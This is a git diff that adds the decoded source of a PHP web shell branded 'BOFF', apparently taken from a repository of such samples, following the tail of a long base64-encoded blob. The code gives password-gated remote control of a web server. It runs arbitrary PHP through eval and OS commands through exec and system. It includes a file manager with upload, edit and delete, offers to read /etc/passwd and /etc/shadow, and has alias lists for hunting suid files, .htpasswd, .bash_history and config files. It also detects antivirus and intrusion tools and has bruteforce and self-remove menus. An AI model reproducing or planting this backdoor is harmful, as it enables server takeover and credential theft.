Mf6MH/wQE9o4BZrVo0kHKo3VvBxxyuZkHG5YlDQeTON3pppUbtv7rjZYnQWACmmj1apuyfTuj/nf9h61V667yzChbp216zMqjJnRxMBpWExzTJsEaWna4WoMo6iFmPLqrowpFCqFhAC9LNIdLRDUqWhwwUfSB7nUR+TSu+rjNMOLAmphEsmPt7E7VEn149fTaN48lpIXfptfRKQARdNxgU2kotBEOleo/9lVmyurvvdNL1oQdBGwe8QydU8tZLaIgoFVAkMzJHANV93/QZZuRy4xl1chFdb6lumuiuEVbvM8cE+qXHT/FL3TmUdeT1XTgY2YhEN2Cg93Iqn74XVqHbngq8AqQ3ZInidvabW8fc/0S7tZe67gIJXWw4JrNUBPfHYlMjBtZ4ueIY+ZdSk6rcgmz/Okekbu1V8sO2SI0M6GKTigtC3l9bzcvd2Xsy8GOHoUnOS9h0aK8w5QxQKdaQAxeUCWApHO+3kQerEEqWl6SGk12sASyFVHiVdQVK1/HRvAi8F6vezJ6L2or+yrT7xQLDNzkkhq3FefF/5YXeO4SZCNWrZNXCucxcicQafybqsnSvZxChPEO2dgwb0xztP+F14vXJq3r0ORh5Rjnib2tyaDzBC05njE51u9wyQuRVkSBGyAyrHKhg4YsqxRPuvMT54Aul8zvOwEiyiBMBgy6mxZAwb8H6OZFF+vfZn6H1wkCiPnV7+Rryt27hzYmAvw0dBqoixaVgSa47baKGGNPOx76/MAiZXYEjyll+9+erv7dGZEAoG1ybz8IK/e5nPLHOr3nWgmpFcmSrQco5wXZ4kLW1TEVsUgkZygcYhZiBVl6a8jXZdtB4CGKDOPIfifQtgG9rBJQ/6uTFxNvMBgCp4gkyNZNCnHecK09tJrctHk8GUPvB2bnlb/xuUabFmt3XGOGghKgmb0xVdztfhpqmxp6madX+pCCzN/DiUkC6yRbkRMWzWBNFPP5bTIa4bUTJCoFZsHISlpVYAMBSYYOIkzm7Oh+L7YxCffyMdcCOKGpynIGt1KbqjnFr5YF1kYZglWqQxKl86nuxw57r6CdAp7Z9aKjU5E4zds6gefhEWKMcfjiBt5MRcQ+WDjZwnSN2L+gXXR9EgjbBdNMFQuy1ysKafq1NQ+dlfpq2Mw5sGkPT6hBIAzHAGPxSuag8Iodiz1G0UKDp9/O3btlr+l4BrR3QsEOuGodDySP5xwf9eDoa23LrN9gkByNrROiz0zeXax+EAMTpOMy3peFzguy64J6OygmlbYSn/maSp/zRs3AvYda7nnSYmaLyPGbFkq/BkOKggkdsLK/hBq+5l+FLWtDam+sPQpIfSMFIy+PPI3d6qngV9g0Iq/dFnRGO0INg+gpgLaIInbIWqIFZFVM6LdGvfyzesWO0TSeEMRQfLd/SyPBXqQidos0O0eyjJ/hf/knUe0nUyvey5Un6IoQRnqQTAsdK+ssLBSPg24SM/81sM0vI7S/SC0IvmbKgPnPnLLRQmXDsMacmh/HZhIAiS4sIRH/n8g9d0U6qw/Mz5yKVhGDJdGQewQbiTFoWiOqlTMIkKnfKNZDW4Wv8dcAfWaY9SQefgVmIaMrzI90U/ORhI0AiychP0bmZFdnFicIS09EqiHAsiSFTAL+BZRqQYDVyGMhMVaOmehdWfOwz60/jYKWlG8bFs+SIMUMasnQ6rnelAmj3w0Us7LbNgcY9UbD/ieg+tyS6Q68HhxqJ2RTf/RGLVWa9q4kbgdzarB1sWTQlaQ1ei40owPP7WQem3yL0pvhyQ2hJUabDyyRrkM55/iEg3ssbZQNQpR3Uy0nQRMYyyCRJzVjpMn09SyzbePzI6f/ZsPJOkOKhiB6yyx1Vy//s6dSMhPNYe0s0Lvg60XPSyCZn1Yl/0DyCsE0nPj49rOTyeTG/n7Iyss+ngoUgzDdE2T8tPy+6YBhX4mnk/tA6nI2ebtxb10hUYU69A9bqKAXb/CkExevW/kDIeTBT9piG+2BsbiM4LgZeuBfzFedSy2Yel2vBKKaudseIfyAsOaGMfUhV2myevTCM1XgYvQQA0IAcfCzP7MHtRhBaI4IZ/YTm1fF7nj62IgRxkrCHFx+fiGbSvMAJXWbH1bWyveWZPqW3NL8BY7ed5CqHSQIZokb0ceapLysTjUyieFkSSmakeMWIhDs1e9Lg2t0NmgxmK7bJU0PaMla0Os8LPYdqmZeg32QkshmkaBFnmQpeLLTuswsnPE/Ow3KN== \ No newline at end of file diff --git a/php/tiamo.php.decode.txt b/php/tiamo.php.decode.txt new file mode 100644 index 0000000..5e9bf20 --- /dev/null +++ b/php/tiamo.php.decode.txt @@ -0,0 +1,1533 @@ +Authorization
    锟0ff \/\/3锟 $|-|311 1.0
    Password:
    "); +} + +if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])])) + if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) ) + $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; + else + BOFFLogin(); + +if(strtolower(substr(PHP_OS,0,3)) == "win") + $os = 'win'; +else + $os = 'nix'; + +$safe_mode = @ini_get('safe_mode'); +if(!$safe_mode) + error_reporting(0); + +$disable_functions = @ini_get('disable_functions'); +$home_cwd = @getcwd(); +if(isset($_POST['c'])) + @chdir($_POST['c']); +$cwd = @getcwd(); +if($os == 'win') { + $home_cwd = str_replace("\\", "/", $home_cwd); + $cwd = str_replace("\\", "/", $cwd); +} +if( $cwd[strlen($cwd)-1] != '/' ) + $cwd .= '/'; + +if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'])) + $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax']; + +if($os == 'win') + $aliases = array( + "List Directory" => "dir", + "Find index.php in current dir" => "dir /s /w /b index.php", + "Find *config*.php in current dir" => "dir /s /w /b *config*.php", + "Show active connections" => "netstat -an", + "Show running services" => "net start", + "User accounts" => "net user", + "Show computers" => "net view", + "ARP Table" => "arp -a", + "IP Configuration" => "ipconfig /all" + ); +else + $aliases = array( + "List dir" => "ls -lha", + "list file attributes on a Linux second extended file system" => "lsattr -va", + "show opened ports" => "netstat -an | grep -i listen", + "process status" => "ps aux", + "Find" => "", + "find all suid files" => "find / -type f -perm -04000 -ls", + "find suid files in current dir" => "find . -type f -perm -04000 -ls", + "find all sgid files" => "find / -type f -perm -02000 -ls", + "find sgid files in current dir" => "find . -type f -perm -02000 -ls", + "find config.inc.php files" => "find / -type f -name config.inc.php", + "find config* files" => "find / -type f -name \"config*\"", + "find config* files in current dir" => "find . -type f -name \"config*\"", + "find all writable folders and files" => "find / -perm -2 -ls", + "find all writable folders and files in current dir" => "find . -perm -2 -ls", + "find all service.pwd files" => "find / -type f -name service.pwd", + "find service.pwd files in current dir" => "find . -type f -name service.pwd", + "find all .htpasswd files" => "find / -type f -name .htpasswd", + "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", + "find all .bash_history files" => "find / -type f -name .bash_history", + "find .bash_history files in current dir" => "find . -type f -name .bash_history", + "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", + "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", + "Locate" => "", + "locate httpd.conf files" => "locate httpd.conf", + "locate vhosts.conf files" => "locate vhosts.conf", + "locate proftpd.conf files" => "locate proftpd.conf", + "locate psybnc.conf files" => "locate psybnc.conf", + "locate my.conf files" => "locate my.conf", + "locate admin.php files" =>"locate admin.php", + "locate cfg.php files" => "locate cfg.php", + "locate conf.php files" => "locate conf.php", + "locate config.dat files" => "locate config.dat", + "locate config.php files" => "locate config.php", + "locate config.inc files" => "locate config.inc", + "locate config.inc.php" => "locate config.inc.php", + "locate config.default.php files" => "locate config.default.php", + "locate config* files " => "locate config", + "locate .conf files"=>"locate '.conf'", + "locate .pwd files" => "locate '.pwd'", + "locate .sql files" => "locate '.sql'", + "locate .htpasswd files" => "locate '.htpasswd'", + "locate .bash_history files" => "locate '.bash_history'", + "locate .mysql_history files" => "locate '.mysql_history'", + "locate .fetchmailrc files" => "locate '.fetchmailrc'", + "locate backup files" => "locate backup", + "locate dump files" => "locate dump", + "locate priv files" => "locate priv" + ); + +function BOFFHeader() { + if(empty($_POST['charset'])) + $_POST['charset'] = $GLOBALS['default_charset']; + global $color; + echo "" . $_SERVER['HTTP_HOST'] . " - BOFF " . BOFF_VERSION ." + + +
    +
    + + + + + + +
    "; + $freeSpace = @diskfreespace($GLOBALS['cwd']); + $totalSpace = @disk_total_space($GLOBALS['cwd']); + $totalSpace = $totalSpace?$totalSpace:1; + $release = @php_uname('r'); + $kernel = @php_uname('s'); + $explink = 'http://exploit-db.com/list.php?description='; + if(strpos('Linux', $kernel) !== false) + $explink .= urlencode('Linux Kernel ' . substr($release,0,6)); + else + $explink .= urlencode($kernel . ' ' . substr($release,0,3)); + if(!function_exists('posix_getegid')) { + $user = @get_current_user(); + $uid = @getmyuid(); + $gid = @getmygid(); + $group = "?"; + } else { + $uid = @posix_getpwuid(posix_geteuid()); + $gid = @posix_getgrgid(posix_getegid()); + $user = $uid['name']; + $uid = $uid['uid']; + $group = $gid['name']; + $gid = $gid['gid']; + } + + $cwd_links = ''; + $path = explode("/", $GLOBALS['cwd']); + $n=count($path); + for($i=0; $i<$n-1; $i++) { + $cwd_links .= "".$path[$i]."/"; + } + + $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'); + $opt_charsets = ''; + foreach($charsets as $item) + $opt_charsets .= ''; + + $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network'); + if(!empty($GLOBALS['auth_pass'])) + $m['Logout'] = 'Logout'; + $m['Self remove'] = 'SelfRemove'; + $menu = ''; + foreach($m as $k => $v) + $menu .= '[ '.$k.' ]'; + + $drives = ""; + if($GLOBALS['os'] == 'win') { + foreach(range('c','z') as $drive) + if(is_dir($drive.':\\')) + $drives .= '[ '.$drive.' ] '; + } + echo '' + . '' + . '
    Uname:
    User:
    Php:
    Hdd:
    Cwd:' . ($GLOBALS['os'] == 'win'?'
    Drives:':'') . '
    ' . substr(@php_uname(), 0, 120) . ' [exploit-db.com]
    ' . $uid . ' ( ' . $user . ' ) Group: ' . $gid . ' ( ' . $group . ' )
    ' . @phpversion() . ' Safe mode: ' . ($GLOBALS['safe_mode']?'ON':'OFF') + . ' [ phpinfo ] Datetime: ' . date('Y-m-d H:i:s') . '
    ' . BOFFViewSize($totalSpace) . ' Free: ' . BOFFViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)
    ' . $cwd_links . ' '. BOFFPermsColor($GLOBALS['cwd']) . ' [ home ]
    ' . $drives . '

    Server IP:
    ' . @$_SERVER["SERVER_ADDR"] . '
    Client IP:
    ' . $_SERVER['REMOTE_ADDR'] . '
    ' + . '' . $menu . '
    '; +} + +function BOFFFooter() { + $is_writable = is_writable($GLOBALS['cwd'])?" (Writeable)":" (Not writable)"; + echo " +
    + + + + + + + + + + +
    Change dir:
    Read file:
    Make dir:$is_writable
    Make file:$is_writable
    Execute:
    + + + + + Upload file:$is_writable

    "; +} + +if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { + function posix_getpwuid($p) {return false;} } +if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { + function posix_getgrgid($p) {return false;} } + +function BOFFEx($in) { + $out = ''; + if (function_exists('exec')) { + @exec($in,$out); + $out = @join("\n",$out); + } elseif (function_exists('passthru')) { + ob_start(); + @passthru($in); + $out = ob_get_clean(); + } elseif (function_exists('system')) { + ob_start(); + @system($in); + $out = ob_get_clean(); + } elseif (function_exists('shell_exec')) { + $out = shell_exec($in); + } elseif (is_resource($f = @popen($in,"r"))) { + $out = ""; + while(!@feof($f)) + $out .= fread($f,1024); + pclose($f); + } + return $out; +} +function BOFFViewSize($s) { + if($s >= 1073741824) + return sprintf('%1.2f', $s / 1073741824 ). ' GB'; + elseif($s >= 1048576) + return sprintf('%1.2f', $s / 1048576 ) . ' MB'; + elseif($s >= 1024) + return sprintf('%1.2f', $s / 1024 ) . ' KB'; + else + return $s . ' B'; +} + +function BOFFPerms($p) { + if (($p & 0xC000) == 0xC000)$i = 's'; + elseif (($p & 0xA000) == 0xA000)$i = 'l'; + elseif (($p & 0x8000) == 0x8000)$i = '-'; + elseif (($p & 0x6000) == 0x6000)$i = 'b'; + elseif (($p & 0x4000) == 0x4000)$i = 'd'; + elseif (($p & 0x2000) == 0x2000)$i = 'c'; + elseif (($p & 0x1000) == 0x1000)$i = 'p'; + else $i = 'u'; + $i .= (($p & 0x0100) ? 'r' : '-'); + $i .= (($p & 0x0080) ? 'w' : '-'); + $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); + $i .= (($p & 0x0020) ? 'r' : '-'); + $i .= (($p & 0x0010) ? 'w' : '-'); + $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); + $i .= (($p & 0x0004) ? 'r' : '-'); + $i .= (($p & 0x0002) ? 'w' : '-'); + $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); + return $i; +} + +function BOFFPermsColor($f) { + if (!@is_readable($f)) + return '' . BOFFPerms(@fileperms($f)) . ''; + elseif (!@is_writable($f)) + return '' . BOFFPerms(@fileperms($f)) . ''; + else + return '' . BOFFPerms(@fileperms($f)) . ''; +} + +if(!function_exists("scandir")) { + function scandir($dir) { + $dh = opendir($dir); + while (false !== ($filename = readdir($dh))) + $files[] = $filename; + return $files; + } +} + +function BOFFWhich($p) { + $path = BOFFEx('which ' . $p); + if(!empty($path)) + return $path; + return false; +} + +function actionSecInfo() { + BOFFHeader(); + echo '

    Server security information

    '; + function BOFFSecParam($n, $v) { + $v = trim($v); + if($v) { + echo '' . $n . ': '; + if(strpos($v, "\n") === false) + echo $v . '
    '; + else + echo '
    ' . $v . '
    '; + } + } + + BOFFSecParam('Server software', @getenv('SERVER_SOFTWARE')); + if(function_exists('apache_get_modules')) + BOFFSecParam('Loaded Apache modules', implode(', ', apache_get_modules())); + BOFFSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none'); + BOFFSecParam('Open base dir', @ini_get('open_basedir')); + BOFFSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); + BOFFSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir')); + BOFFSecParam('cURL support', function_exists('curl_version')?'enabled':'no'); + $temp=array(); + if(function_exists('mysql_get_client_info')) + $temp[] = "MySql (".mysql_get_client_info().")"; + if(function_exists('mssql_connect')) + $temp[] = "MSSQL"; + if(function_exists('pg_connect')) + $temp[] = "PostgreSQL"; + if(function_exists('oci_connect')) + $temp[] = "Oracle"; + BOFFSecParam('Supported databases', implode(', ', $temp)); + echo '
    '; + + if($GLOBALS['os'] == 'nix') { + BOFFSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes [view]":'no'); + BOFFSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes [view]":'no'); + BOFFSecParam('OS version', @file_get_contents('/proc/version')); + BOFFSecParam('Distr name', @file_get_contents('/etc/issue.net')); + if(!$GLOBALS['safe_mode']) { + $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); + $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); + $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); + echo '
    '; + $temp=array(); + foreach ($userful as $item) + if(BOFFWhich($item)) + $temp[] = $item; + BOFFSecParam('Userful', implode(', ',$temp)); + $temp=array(); + foreach ($danger as $item) + if(BOFFWhich($item)) + $temp[] = $item; + BOFFSecParam('Danger', implode(', ',$temp)); + $temp=array(); + foreach ($downloaders as $item) + if(BOFFWhich($item)) + $temp[] = $item; + BOFFSecParam('Downloaders', implode(', ',$temp)); + echo '
    '; + BOFFSecParam('HDD space', BOFFEx('df -h')); + BOFFSecParam('Hosts', @file_get_contents('/etc/hosts')); + } + } else { + BOFFSecParam('OS Version',BOFFEx('ver')); + BOFFSecParam('Account Settings',BOFFEx('net accounts')); + BOFFSecParam('User Accounts',BOFFEx('net user')); + } + echo '
    '; + BOFFFooter(); +} + +function actionPhp() { + if(isset($_POST['ajax'])) { + $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true; + ob_start(); + eval($_POST['p1']); + $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n"; + echo strlen($temp), "\n", $temp; + exit; + } + BOFFHeader(); + if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) { + echo '

    PHP info

    '; + ob_start(); + phpinfo(); + $tmp = ob_get_clean(); + $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp); + $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp); + echo str_replace('
    '; + } + if(empty($_POST['ajax']) && !empty($_POST['p1'])) + $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false; + echo '

    Execution PHP-code

    '; + echo ' send using AJAX
    ';
    +	if(!empty($_POST['p1'])) {
    +		ob_start();
    +		eval($_POST['p1']);
    +		echo htmlspecialchars(ob_get_clean());
    +	}
    +	echo '
    '; + BOFFFooter(); +} + +function actionFilesMan() { + BOFFHeader(); + echo '

    File manager

    '; + if(!empty($_POST['p1'])) { + switch($_POST['p1']) { + case 'uploadFile': + if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) + echo "Can't upload file!"; + break; + case 'mkdir': + if(!@mkdir($_POST['p2'])) + echo "Can't create new dir"; + break; + case 'delete': + function deleteDir($path) { + $path = (substr($path,-1)=='/') ? $path:$path.'/'; + $dh = opendir($path); + while ( ($item = readdir($dh) ) !== false) { + $item = $path.$item; + if ( (basename($item) == "..") || (basename($item) == ".") ) + continue; + $type = filetype($item); + if ($type == "dir") + deleteDir($item); + else + @unlink($item); + } + closedir($dh); + @rmdir($path); + } + if(is_array(@$_POST['f'])) + foreach($_POST['f'] as $f) { + if($f == '..') + continue; + $f = urldecode($f); + if(is_dir($f)) + deleteDir($f); + else + @unlink($f); + } + break; + case 'paste': + if($_SESSION['act'] == 'copy') { + function copy_paste($c,$s,$d){ + if(is_dir($c.$s)){ + mkdir($d.$s); + $h = @opendir($c.$s); + while (($f = @readdir($h)) !== false) + if (($f != ".") and ($f != "..")) + copy_paste($c.$s.'/',$f, $d.$s.'/'); + } elseif(is_file($c.$s)) + @copy($c.$s, $d.$s); + } + foreach($_SESSION['f'] as $f) + copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']); + } elseif($_SESSION['act'] == 'move') { + function move_paste($c,$s,$d){ + if(is_dir($c.$s)){ + mkdir($d.$s); + $h = @opendir($c.$s); + while (($f = @readdir($h)) !== false) + if (($f != ".") and ($f != "..")) + copy_paste($c.$s.'/',$f, $d.$s.'/'); + } elseif(@is_file($c.$s)) + @copy($c.$s, $d.$s); + } + foreach($_SESSION['f'] as $f) + @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f); + } elseif($_SESSION['act'] == 'zip') { + if(class_exists('ZipArchive')) { + $zip = new ZipArchive(); + if ($zip->open($_POST['p2'], 1)) { + chdir($_SESSION['c']); + foreach($_SESSION['f'] as $f) { + if($f == '..') + continue; + if(@is_file($_SESSION['c'].$f)) + $zip->addFile($_SESSION['c'].$f, $f); + elseif(@is_dir($_SESSION['c'].$f)) { + $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/')); + foreach ($iterator as $key=>$value) { + $zip->addFile(realpath($key), $key); + } + } + } + chdir($GLOBALS['cwd']); + $zip->close(); + } + } + } elseif($_SESSION['act'] == 'unzip') { + if(class_exists('ZipArchive')) { + $zip = new ZipArchive(); + foreach($_SESSION['f'] as $f) { + if($zip->open($_SESSION['c'].$f)) { + $zip->extractTo($GLOBALS['cwd']); + $zip->close(); + } + } + } + } elseif($_SESSION['act'] == 'tar') { + chdir($_SESSION['c']); + $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']); + BOFFEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f'])); + chdir($GLOBALS['cwd']); + } + unset($_SESSION['f']); + break; + default: + if(!empty($_POST['p1'])) { + $_SESSION['act'] = @$_POST['p1']; + $_SESSION['f'] = @$_POST['f']; + foreach($_SESSION['f'] as $k => $f) + $_SESSION['f'][$k] = urldecode($f); + $_SESSION['c'] = @$_POST['c']; + } + break; + } + } + $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']); + if($dirContent === false) { echo 'Can\'t open this folder!';BOFFFooter(); return; } + global $sort; + $sort = array('name', 1); + if(!empty($_POST['p1'])) { + if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) + $sort = array($match[1], (int)$match[2]); + } +echo " + +"; + $dirs = $files = array(); + $n = count($dirContent); + for($i=0;$i<$n;$i++) { + $ow = @posix_getpwuid(@fileowner($dirContent[$i])); + $gr = @posix_getgrgid(@filegroup($dirContent[$i])); + $tmp = array('name' => $dirContent[$i], + 'path' => $GLOBALS['cwd'].$dirContent[$i], + 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), + 'perms' => BOFFPermsColor($GLOBALS['cwd'] . $dirContent[$i]), + 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]), + 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]), + 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i]) + ); + if(@is_file($GLOBALS['cwd'] . $dirContent[$i])) + $files[] = array_merge($tmp, array('type' => 'file')); + elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i])) + $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path']))); + elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != ".")) + $dirs[] = array_merge($tmp, array('type' => 'dir')); + } + $GLOBALS['sort'] = $sort; + function BOFFCmp($a, $b) { + if($GLOBALS['sort'][0] != 'size') + return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1); + else + return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1); + } + usort($files, "BOFFCmp"); + usort($dirs, "BOFFCmp"); + $files = array_merge($dirs, $files); + $l = 0; + foreach($files as $f) { + echo ''; + $l = $l?0:1; + } + echo "
    NameSizeModifyOwner/GroupPermissionsActions
    '.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '>[ ' . htmlspecialchars($f['name']) . ' ]').''.(($f['type']=='file')?BOFFViewSize($f['size']):$f['type']).''.$f['modify'].''.$f['owner'].'/'.$f['group'].''.$f['perms'] + .'R T'.(($f['type']=='file')?' E D':'').'
    + + + +  "; + if(!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar'))) + echo "file name:  "; + echo "
    "; + BOFFFooter(); +} + +function actionStringTools() { + if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}} + if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}} + if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i 'base64_encode', + 'Base64 decode' => 'base64_decode', + 'Url encode' => 'urlencode', + 'Url decode' => 'urldecode', + 'Full urlencode' => 'full_urlencode', + 'md5 hash' => 'md5', + 'sha1 hash' => 'sha1', + 'crypt' => 'crypt', + 'CRC32' => 'crc32', + 'ASCII to HEX' => 'ascii2hex', + 'HEX to ASCII' => 'hex2ascii', + 'HEX to DEC' => 'hexdec', + 'HEX to BIN' => 'hex2bin', + 'DEC to HEX' => 'dechex', + 'DEC to BIN' => 'decbin', + 'BIN to HEX' => 'binhex', + 'BIN to DEC' => 'bindec', + 'String to lower case' => 'strtolower', + 'String to upper case' => 'strtoupper', + 'Htmlspecialchars' => 'htmlspecialchars', + 'String length' => 'strlen', + ); + if(isset($_POST['ajax'])) { + $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true; + ob_start(); + if(in_array($_POST['p1'], $stringTools)) + echo $_POST['p1']($_POST['p2']); + $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n"; + echo strlen($temp), "\n", $temp; + exit; + } + BOFFHeader(); + echo '

    String conversions

    '; + if(empty($_POST['ajax'])&&!empty($_POST['p1'])) + $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false; + echo "
    send using AJAX
    ";
    +	if(!empty($_POST['p1'])) {
    +		if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
    +	}
    +	echo"

    Search text in files:

    +
    + + + + +
    Text:
    Path:
    Name:
    "; + + function BOFFRecursiveGlob($path) { + if(substr($path, -1) != '/') + $path.='/'; + $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR))); + if(is_array($paths)&&@count($paths)) { + foreach($paths as $item) { + if(@is_dir($item)){ + if($path!=$item) + BOFFRecursiveGlob($item); + } else { + if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false) + echo "".htmlspecialchars($item)."
    "; + } + } + } + } + if(@$_POST['p3']) + BOFFRecursiveGlob($_POST['c']); + echo "

    Search for hash:

    +
    +
    +
    +
    +
    +
    +
    +
    "; + BOFFFooter(); +} + +function actionFilesTools() { + if( isset($_POST['p1']) ) + $_POST['p1'] = urldecode($_POST['p1']); + if(@$_POST['p2']=='download') { + if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) { + ob_start("ob_gzhandler", 4096); + header("Content-Disposition: attachment; filename=".basename($_POST['p1'])); + if (function_exists("mime_content_type")) { + $type = @mime_content_type($_POST['p1']); + header("Content-Type: " . $type); + } else + header("Content-Type: application/octet-stream"); + $fp = @fopen($_POST['p1'], "r"); + if($fp) { + while(!@feof($fp)) + echo @fread($fp, 1024); + fclose($fp); + } + }exit; + } + if( @$_POST['p2'] == 'mkfile' ) { + if(!file_exists($_POST['p1'])) { + $fp = @fopen($_POST['p1'], 'w'); + if($fp) { + $_POST['p2'] = "edit"; + fclose($fp); + } + } + } + BOFFHeader(); + echo '

    File tools

    '; + if( !file_exists(@$_POST['p1']) ) { + echo 'File not exists'; + BOFFFooter(); + return; + } + $uid = @posix_getpwuid(@fileowner($_POST['p1'])); + if(!$uid) { + $uid['name'] = @fileowner($_POST['p1']); + $gid['name'] = @filegroup($_POST['p1']); + } else $gid = @posix_getgrgid(@filegroup($_POST['p1'])); + echo 'Name: '.htmlspecialchars(@basename($_POST['p1'])).' Size: '.(is_file($_POST['p1'])?BOFFViewSize(filesize($_POST['p1'])):'-').' Permission: '.BOFFPermsColor($_POST['p1']).' Owner/Group: '.$uid['name'].'/'.$gid['name'].'
    '; + echo 'Create time: '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' Access time: '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' Modify time: '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'

    '; + if( empty($_POST['p2']) ) + $_POST['p2'] = 'view'; + if( is_file($_POST['p1']) ) + $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch'); + else + $m = array('Chmod', 'Rename', 'Touch'); + foreach($m as $v) + echo ''.((strtolower($v)==@$_POST['p2'])?'[ '.$v.' ]':$v).' '; + echo '

    '; + switch($_POST['p2']) { + case 'view': + echo '
    ';
    +			$fp = @fopen($_POST['p1'], 'r');
    +			if($fp) {
    +				while( !@feof($fp) )
    +					echo htmlspecialchars(@fread($fp, 1024));
    +				@fclose($fp);
    +			}
    +			echo '
    '; + break; + case 'highlight': + if( @is_readable($_POST['p1']) ) { + echo '
    '; + $code = @highlight_file($_POST['p1'],true); + echo str_replace(array(''), array(''),$code).'
    '; + } + break; + case 'chmod': + if( !empty($_POST['p3']) ) { + $perms = 0; + for($i=strlen($_POST['p3'])-1;$i>=0;--$i) + $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1)); + if(!@chmod($_POST['p1'], $perms)) + echo 'Can\'t set permissions!
    '; + } + clearstatcache(); + echo '
    '; + break; + case 'edit': + if( !is_writable($_POST['p1'])) { + echo 'File isn\'t writeable'; + break; + } + if( !empty($_POST['p3']) ) { + $time = @filemtime($_POST['p1']); + $_POST['p3'] = substr($_POST['p3'],1); + $fp = @fopen($_POST['p1'],"w"); + if($fp) { + @fwrite($fp,$_POST['p3']); + @fclose($fp); + echo 'Saved!
    '; + @touch($_POST['p1'],$time,$time); + } + } + echo '
    '; + break; + case 'hexdump': + $c = @file_get_contents($_POST['p1']); + $n = 0; + $h = array('00000000
